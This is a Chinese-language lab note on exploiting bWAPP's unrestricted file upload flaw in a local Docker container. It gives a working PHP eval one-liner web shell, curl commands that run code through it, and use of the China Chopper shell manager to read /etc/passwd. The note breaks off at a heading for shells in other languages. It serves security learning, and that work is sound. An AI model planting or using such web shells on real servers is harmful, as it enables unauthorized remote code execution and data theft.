文件上传漏洞:
web提供了文件上传功能,但是没有做好验证。攻击方提交了脚本文件,然后执行脚本攻击web。
===================================================
启动漏洞容器环境:
docker run -d -p 80:80 raesene/bwapp
# 根据课程中的演示搭建好 bWAPP 实验环境后,以后再启动 bWAPP
docker container list -a # 查看 container id
docker start xxx # xxx 就是上一步获得的 container id,运行完这条命令后,访问响应的网址即可
=================================
浏览器打开:http://127.0.0.1:80
使用建立的账号命令登录
choose your bug里选择unrestricted file upload 未经严格审计的文件上传
选择low级别
点击hack按钮。
打开了一个php。这个页面可以上传文件。
http://127.0.0.1/unrestricted_file_upload.php
==================================
上传一个web shell。
编辑一个shell.php
里面的内容是:
<?php @eval($_POST['hacker']); ?>
这个php文件接收一个叫hacker的参数,然后post给服务器,并请服务器eval执行一下。
如果hacker里放一些攻击命令,就会让服务器执行。
把这个shell.php上传到页面
http://127.0.0.1/unrestricted_file_upload.php
发现该网页没有做检查,上传成功。
The image has been uploaded here.
点击here,http://127.0.0.1/images/shell.php
========================================
用curl命令打开http://127.0.0.1/images/shell.php,加上post参数
尝试get_current_user和getcwd,获取当前用户和当前目录
实战:
切换到命令行
curl -d "hacker=echo get_current_user();" http://127.0.0.1/images/shell.php
=====================
问题:我的命令反馈回404.我的http://127.0.0.1/images/shell.php也没有打开。
处理:参考
https://www.cnblogs.com/Miubai-blog/articles/17065714.html
docker exec -it 这里写container_id bash
进入docker环境命令行里
find . -name "error.log"
查找apache错误日志
发现在./var/log/apache2/error.log
vi ./var/log/apache2/error.log
打开错误日志
发现:
PHP Warning: move_uploaded_file(): Unable to move '/tmp/phpc71pCJ' to 'images/shell.php' in /app/unrestricted_file_upload.php on line 34, referer: http://127.0.0.1/unrestricted_file_upload.php
更改权限 sudo chown -R www-data:www-data /var/www/html/
exit退出docker里的操作系统。
=======================================
重新上传shell.php
http://127.0.0.1/images/shell.php 打开后为空白页面,不报错。
命令行里输入:
curl -d "hacker=echo get_current_user();" http://127.0.0.1/images/shell.php
反馈:www-data
命令行里输入:
curl -d "hacker=echo getcwd();" http://127.0.0.1/images/shell.php
反馈:/app/images
===================================================
使用webshell一句话木马的集成工具。
中国菜刀。
中国菜刀下载地址(保险起见,下载后请做 MD5 验证):
GitHub - raddyfiy/caidao-official-version: 中国菜刀官方版本,拒绝黑吃黑,来路清晰
下载后会被杀毒软件拦截。需要做下信任处理。
=====
点击caidao.exe,右键添加:http://127.0.0.1/images/shell.php,hacker
即上传成功的一句话木马和参数。
======
双击中国菜刀里的该地址,即获取了被攻击主机上对应的目录。
点击右键里的虚拟终端,即可以在被攻击主机上执行命令。
可以执行cat /etc/passwd,可以通过cd .. 和ls查看上面的文件。
=================================================
其他语言的一句话木马: